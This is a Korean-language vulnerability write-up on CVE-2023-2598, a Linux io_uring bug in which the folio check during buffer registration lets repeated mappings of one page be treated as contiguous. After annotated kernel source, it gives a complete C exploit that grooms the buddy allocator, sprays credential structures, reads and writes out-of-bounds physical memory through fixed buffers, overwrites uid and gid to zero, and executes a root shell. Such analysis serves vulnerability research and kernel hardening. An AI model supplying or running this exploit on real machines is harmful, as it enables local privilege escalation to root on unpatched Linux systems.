
io_uring에 관한 CVE-2023-2598 악용
io_uring은 리눅스를 위한 시스템 콜 인터페이스입니다. 처음에는 read()와 write()만 지원했지만, 현재는 거의 모든 시스템 콜을 지원합니다. 이를 통해 애플리케이션은 비동기적으로 수행될 수 있는 시스템 콜을 시작할 수 있습니다.
모든 io_uring 구현의 핵심에는 두 개의 링 버퍼가 있습니다. 제출 큐(SQ)와 완료 큐(CQ)입니다. 이 링 버퍼들은 애플리케이션과 커널 사이에서 공유됩니다.
io_uring_get_sqe를 통해 수행하려는 syscall을 설명하는 제출 큐 엔트리(SQE)를 얻을 수 있습니다. 그런 다음 애플리케이션은 io_uring_enter 시스템 콜을 수행하여 제출 큐에 처리 대기 중인 작업이 있음을 커널에 알립니다.
커널이 작업을 수행한 후에는 완료 큐 링 버퍼에 *Completion Queue Entry (CQE)*를 넣고, 애플리케이션이 이를 소비할 수 있습니다.
함수 io_sqe_buffer_register는 가상 페이지와 물리적 주소의 매핑을 구현합니다.
먼저 몇 가지 개념을 명확히 해야 합니다.
애플리케이션은 io_uring_register를 통해 버퍼에 대한 요청을 시작합니다. 호출 체인은 다음과 같습니다:
io_uring_register_buffers -> io_uring_register -> io_sqe_buffers_register
함수 io_sqe_buffers_register의 소스 코드는 다음과 같습니다:
int io_sqe_buffers_register(struct io_ring_ctx *ctx, void __user *arg,
unsigned int nr_args, u64 __user *tags)
{
struct page *last_hpage = NULL;
struct io_rsrc_data *data;
int i, ret;
struct iovec iov;
BUILD_BUG_ON(IORING_MAX_REG_BUFFERS >= (1u << 16));
if (ctx->user_bufs)
return -EBUSY;
if (!nr_args || nr_args > IORING_MAX_REG_BUFFERS)
return -EINVAL;
ret = io_rsrc_node_switch_start(ctx);
if (ret)
return ret;
ret = io_rsrc_data_alloc(ctx, io_rsrc_buf_put, tags, nr_args, &data);
if (ret)
return ret;
ret = io_buffers_map_alloc(ctx, nr_args);
if (ret) {
io_rsrc_data_free(data);
return ret;
}
for (i = 0; i < nr_args; i++, ctx->nr_user_bufs++) {
if (arg) {
ret = io_copy_iov(ctx, &iov, arg, i);
if (ret)
break;
ret = io_buffer_validate(&iov);
if (ret)
break;
} else {
memset(&iov, 0, sizeof(iov));
}
if (!iov.iov_base && *io_get_tag_slot(data, i)) {
ret = -EINVAL;
break;
}
ret = io_sqe_buffer_register(ctx, &iov, &ctx->user_bufs[i],
&last_hpage);
if (ret)
break;
}
WARN_ON_ONCE(ctx->buf_data);
ctx->buf_data = data;
if (ret)
__io_sqe_buffers_unregister(ctx);
else
io_rsrc_node_switch(ctx, NULL);
return ret;
}
이 함수에서 io_sqe_buffer_register로 진입하게 됩니다. 그리고 논리적 버그를 발견할 수 있습니다. 함수 io_sqe_buffer_register의 소스 코드는 다음과 같습니다:
static int io_sqe_buffer_register(struct io_ring_ctx *ctx, struct iovec *iov,
struct io_mapped_ubuf **pimu,
struct page **last_hpage)
{
struct io_mapped_ubuf *imu = NULL;
struct page **pages = NULL;
unsigned long off;
size_t size;
int ret, nr_pages, i;
struct folio *folio = NULL;
*pimu = ctx->dummy_ubuf;
if (!iov->iov_base)
return 0;
ret = -ENOMEM;
pages = io_pin_pages((unsigned long) iov->iov_base, iov->iov_len,
&nr_pages);
if (IS_ERR(pages)) {
ret = PTR_ERR(pages);
pages = NULL;
goto done;
}
/* If it's a huge page, try to coalesce them into a single bvec entry */
if (nr_pages > 1) {
folio = page_folio(pages[0]);
for (i = 1; i < nr_pages; i++) {
if (page_folio(pages[i]) != folio) {
folio = NULL;
break;
}
}
if (folio) {
folio_put_refs(folio, nr_pages - 1);
nr_pages = 1;
}
}
imu = kvmalloc(struct_size(imu, bvec, nr_pages), GFP_KERNEL);
if (!imu)
goto done;
ret = io_buffer_account_pin(ctx, pages, nr_pages, imu, last_hpage);
if (ret) {
unpin_user_pages(pages, nr_pages);
goto done;
}
off = (unsigned long) iov->iov_base & ~PAGE_MASK;
size = iov->iov_len;
/* store original address for later verification */
imu->ubuf = (unsigned long) iov->iov_base;
imu->ubuf_end = imu->ubuf + iov->iov_len;
imu->nr_bvecs = nr_pages;
*pimu = imu;
ret = 0;
if (folio) {
bvec_set_page(&imu->bvec[0], pages[0], size, off);
goto done;
}
for (i = 0; i < nr_pages; i++) {
size_t vec_len;
vec_len = min_t(size_t, size, PAGE_SIZE - off);
bvec_set_page(&imu->bvec[i], pages[i], vec_len, off);
off = 0;
size -= vec_len;
}
done:
if (ret)
kvfree(imu);
kvfree(pages);
return ret;
}
여기서 중요한 몇 가지 점만 언급하겠습니다.
imu는 가상 주소/페이지를 의미합니다.page는 물리적 주소/페이지를 의미합니다.folio는 물리적으로 연속된 많은 페이지들을 의미하며, 함수가 호출될 때 매개변수에 페이지가 포함되어 있지만 이 페이지가 연속된 페이지 범위에 속하는지, 전체 페이지를 사용할지 단일 페이지를 사용할지 확실하지 않은 상황을 방지합니다.struct iovec -> 단순히 버퍼의 시작 주소와 길이를 설명하는 구조체입니다. 그 이상도 이하도 아닙니다.io_mapped_ubuf는 io_uring 인스턴스에 등록된 버퍼에 대한 정보를 담고 있는 구조체입니다.struct io_mapped_ubuf {
u64 ubuf; // 버퍼가 시작되는 주소
u64 ubuf_end; // 버퍼가 끝나는 주소
unsigned int nr_bvecs; // 버퍼를 주소 지정하는 데 필요한 bio_vec의 개수
unsigned long acct_pages;
struct bio_vec bvec[]; // bio_vec 배열
};
멤버 bio_vec는 물리적 메모리를 위한 iovec와 같은 구조체입니다.
...
/* 만약 거대 페이지라면, 단일 bvec 엔트리로 합치려고 시도 */
if (nr_pages > 1) { // 페이지가 두 개 이상인 경우
folio = page_folio(pages[0]); // page를 folio로 변환
// 이 페이지를 포함하는 folio를 반환
for (i = 1; i < nr_pages; i++) {
if (page_folio(pages[i]) != folio) { // 다른 folio -> 물리적으로 연속되지 않음
folio = NULL; // 단일 엔트리로 합칠 수 없으므로 folio를 NULL로 설정
break;
}
}
if (folio) { // 모든 페이지가 동일한 folio에 속하는 경우
folio_put_refs(folio, nr_pages - 1);
nr_pages = 1; // 단일 folio 페이지로 표현 가능하므로 nr_pages를 1로 설정
}
}
...
페이지가 동일한 folio에서 왔는지 확인하는 코드는 실제로 페이지가 연속적인지 확인하지 않습니다. 동일한 페이지가 여러 번 매핑될 수 있습니다. 반복 중에 page_folio(page)는 계속해서 동일한 folio를 반환하여 검사를 통과하게 됩니다. 이것은 명백한 논리적 버그입니다. io_sqe_buffer_register를 계속 살펴보고 결과가 무엇인지 알아보겠습니다.
...
imu = kvmalloc(struct_size(imu, bvec, nr_pages), GFP_KERNEL);
// nr_pages 개의 bio_vec을 위한 배열로 imu 할당
// bio_vec - 물리적 메모리 주소의 연속된 범위
// 각 (물리적) 페이지에 대해 하나의 bio_vec이 필요
// folio의 경우 - bio_vec 배열 크기는 1
if (!imu)
goto done;
ret = io_buffer_account_pin(ctx, pages, nr_pages, imu, last_hpage);
if (ret) {
unpin_user_pages(pages, nr_pages);
goto done;
}
off = (unsigned long) iov->iov_base & ~PAGE_MASK;
size = iov->iov_len; // 사용자가 전달한 값으로 크기 설정!
/* 원래 주소를 나중에 검증하기 위해 저장 */
imu->ubuf = (unsigned long) iov->iov_base; // 사용자 제어 가능
imu->ubuf_end = imu->ubuf + iov->iov_len; // 길이를 기준으로 끝 계산
imu->nr_bvecs = nr_pages; // folio의 경우 1이 됨
*pimu = imu;
ret = 0;
if (folio) { // folio의 경우 - 단일 bio_vec만 필요 (효율적!)
bvec_set_page(&imu->bvec[0], pages[0], size, off);
goto done;
}
for (i = 0; i < nr_pages; i++) {
size_t vec_len;
vec_len = min_t(size_t, size, PAGE_SIZE - off);
bvec_set_page(&imu->bvec[i], pages[i], vec_len, off);
off = 0;
size -= vec_len;
}
done:
if (ret)
kvfree(imu);
kvfree(pages);
return ret;
}
nr_pages = 1이므로 단일 bio_vec이 할당됩니다. pimu->iov_len과 pimu->bvec[0].bv_len에 기록되는 버퍼의 크기는 사용자가 iov->iov_len으로 전달한 것입니다.
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <liburing.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <mqueue.h>
#include <sys/syscall.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <sched.h>
#include <string.h>
#define CRED_DRAIN 100 // cred 캐시 수정을 기다리는 대기 시간
#define CRED_SPRAY 2000 // 스프레이할 clone 수
#define PAGE_SIZE 0x1000 // 메모리 페이지 크기
#define MAX_PAGES 100 // 할당할 최대 페이지 수
struct timespec timer = {
.tv_sec = 1145141919,
.tv_nsec = 0,
};
#define COLOR_RED "\033[1;31m"
#define COLOR_GREEN "\033[1;32m"
#define COLOR_RESET "\033[0m"
int check_root_pipe[2];
char bin_sh_str[] = "/bin/sh";
char child_pipe_buf[1];
// char root_str[] = "Finally get root privilege!\n";
char root_str[] = "\033[32m\033[1m[+] Successful to get the root.\n"
"\033[34m[*] Execve root shell now...\033[0m\n";
char *shell_args[] = { bin_sh_str, NULL };
void err_exit(char *buf){
fprintf(stderr, "%s[-]%s : %s%s\n", COLOR_RED, buf, strerror(errno), COLOR_RESET);
exit(-1);
}
void check_ret(int ret,char* buf){
if(ret < 0){
err_exit(buf);
}
}
void log_msg(char *buf){
fprintf(stdout, "[+] %s\n", buf);
}
void log_fail_msg(char *buf){
fprintf(stdout, "[-] %s\n", buf);
};
// 시스템의 cred_cache를 비워서 하위 프로세스를 fork할 때 새로운 buddy_memory로 credential이 생성되도록 함
void clear_cred_cache(){
for(int i = 0; i < CRED_DRAIN; i++){
int ret = fork();
if(!ret){
read(check_root_pipe[0],child_pipe_buf,1);
if(getuid()==0){
write(1, root_str, 80);
system("/bin/sh");
}
sleep(100000000);
}
check_ret(ret, "fork fail");
}
}
// 차수 0, 1, 2 등등의 buddy 메모리 정리
void clear_buddy(){
log_msg("Buddy system cache cleared");
void* page[MAX_PAGES];
for(int i =0; i < MAX_PAGES; i++){
page[i] = mmap(0x60000000 + i * 0x200000UL, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
}
for(int i = 0; i < MAX_PAGES; i++){
*(char *)page[i] = 'a';
}
}
__attribute__ ((naked)) long simple_clone(int flags, int (*fn)(void *)){
__asm__ volatile (
" mov r15, rsi\n"
" xor rsi, rsi\n"
" xor rdx, rdx\n"
" xor r10, r10\n"
" xor r8, r8\n"
" xor r9, r9\n"
" mov rax, 56\n"
" syscall\n" //clone()
" cmp rax, 0\n"
" je child_fn\n"
" ret\n" // parent
"child_fn:\n"
" jmp r15\n" // child
);
}
int wait_for_root_fn(void *args){
// 루트 권한을 기다림
__asm__ volatile (
// read(check_root_pipe[0], child_pipe_buf, 1);
" lea rax, [check_root_pipe]\n"
" xor rdi, rdi\n"
" mov edi, dword ptr [rax]\n"
" mov rsi, child_pipe_buf\n"
" mov rdx, 1\n"
" xor rax, rax\n" // read(check_root_pipe[0], child_pipe_buf, 1)
" syscall\n"
" mov rax, 102\n" //getuid()
" syscall\n"
" cmp rax, 0\n"
" jne failed\n"
" mov rdi, 1\n"
" lea rdi, [bin_sh_str]\n"
" lea rsi, [shell_args]\n"
" xor rdx, rdx\n"
" mov rax, 59\n" // execve("/bin/sh", args, NULL)
" syscall\n"
"failed: \n"
" lea rdi, [timer]\n"
" xor rsi, rsi\n"
" mov rax, 35\n"
" syscall\n" // nanosleep(&timer, NULL)
);
return 0;
}
int main(){
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(sched_getcpu(), &set);
if (sched_setaffinity(0, sizeof(set), &set) < 0) {
perror("sched_setaffinity");
exit(EXIT_FAILURE);
}
// cred 캐시 정리
int ret = 0;
// io_uring 설정
struct io_uring ring;
struct io_uring_sqe *sqe;
struct io_uring_cqe *cqe;
struct iovec iovec;
// 읽기/쓰기 연산을 위한 버퍼
int memfd;
int rw_fd;
int page_offset = -1;
uint64_t start_addr = 0x800000000;
int nr_pages = 500;
char* rw_buffer;
char buf[1000];
log_msg("Clearing cred cache");
pipe(check_root_pipe);
clear_cred_cache();
log_msg("Clearing buddy system cache");
// buddy 시스템 캐시 정리 (원래 코드에는 구현이 표시되지 않음)
clear_buddy();
log_msg("Setting up io_uring");
check_ret(io_uring_queue_init(8, &ring, 0), "io_uring_setup failed");
// io_uring_register_buffers(&ring, iovec, 1);
log_msg("Preparing buffer for registration");
// io_uring 버퍼를 위한 memfd 생성
memfd = memfd_create("io_register_buf", MFD_CLOEXEC);
check_ret(memfd, "memfd_create failed");
rw_fd = memfd_create("read_write_file", MFD_CLOEXEC);
check_ret(rw_fd, "memfd_create failed");
check_ret(fallocate(memfd, 0, 0, 1 * PAGE_SIZE), "memfd fallocate failed");
check_ret(fallocate(rw_fd, 0, 0, 1 * PAGE_SIZE), "rw_fd fallocate failed");
for(int i = 0; i < nr_pages; i++){
check_ret(mmap(start_addr + i * PAGE_SIZE, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, memfd, 0), "mmap failed");
}
// io_uring에 버퍼 등록
log_msg("Registering buffer for io_uring");
iovec.iov_base = start_addr;
iovec.iov_len = nr_pages * PAGE_SIZE;
rw_buffer = mmap(NULL, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_SHARED, rw_fd, 0);
if (rw_buffer == MAP_FAILED) {
perror("mmap rw_fd");
exit(EXIT_FAILURE);
}
check_ret(io_uring_register_buffers(&ring, &iovec, 1), "io_uring_register_buffers failed");
// cred 스프레이
log_msg("Spraying credentials");
for(int i = 0; i < CRED_SPRAY; i++){
// check_ret(simple_clone(CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_THREAD | CLONE_SIGHAND, wait_for_root_fn), "clone failed");
check_ret(simple_clone(CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND, wait_for_root_fn), "clone failed");
}
log_msg("Searching for cred that we sprayed");
// 스프레이된 cred 검색
for(int i = 0; i < nr_pages; i++){
sqe = io_uring_get_sqe(&ring);
if (sqe == NULL) {
err_exit("io_uring_get_sqe failed");
}
io_uring_prep_write_fixed(sqe, rw_fd, start_addr + i*PAGE_SIZE, PAGE_SIZE, 0, 0);
check_ret(io_uring_submit(&ring), "io_uring_submit failed");
io_uring_wait_cqe(&ring, &cqe);
io_uring_cqe_seen(&ring, cqe);
int uid = ((int *)(rw_buffer))[1];
int gid = ((int *)(rw_buffer))[2];
if(uid == 1000 && gid == 1000){
log_msg("Found the target cred page");
page_offset = i;
break;
}
}
if(page_offset < 0){
log_fail_msg("Not find cred page");
exit(-1);
}
log_msg("Editing cred's uid to 0");
uint32_t* cred = (unsigned int *)rw_buffer;
// cred[0] = 0x2; // 사용 횟수 변경 없음
cred[1] = 0x0; // uid를 0으로 설정
cred[2] = 0x0;
cred[3] = 0x0; // suid와 sgid를 0으로 설정
cred[4] = 0x0;
cred[5] = 0x0;
cred[6] = 0x0;
sqe = io_uring_get_sqe(&ring);
if(sqe == NULL) {
err_exit("io_uring_get_sqe failed");
}
io_uring_prep_read_fixed(sqe, rw_fd, start_addr + page_offset * PAGE_SIZE, 28, 0, 0);
check_ret(io_uring_submit(&ring), "io_uring_submit failed");
io_uring_wait_cqe(&ring, &cqe);
io_uring_cqe_seen(&ring, cqe);
log_msg("check privilege in child processes");
write(check_root_pipe[1],buf, CRED_SPRAY+CRED_DRAIN);
sleep(100000000);
return 0;
}
위 exploit의 주요 원리는 프로세스의 자격 증명(credential)을 소진하고 가능한 한 많은 buddy_memory를 점유하여, 프로세스(credential)를 스프레이할 때 대상이 500개의 연속된 페이지 내에 위치하도록 하는 것입니다. 이러한 방식으로 500페이지 내에서 스프레이된 자격 증명을 찾아 루트 셸을 생성할 수 있습니다.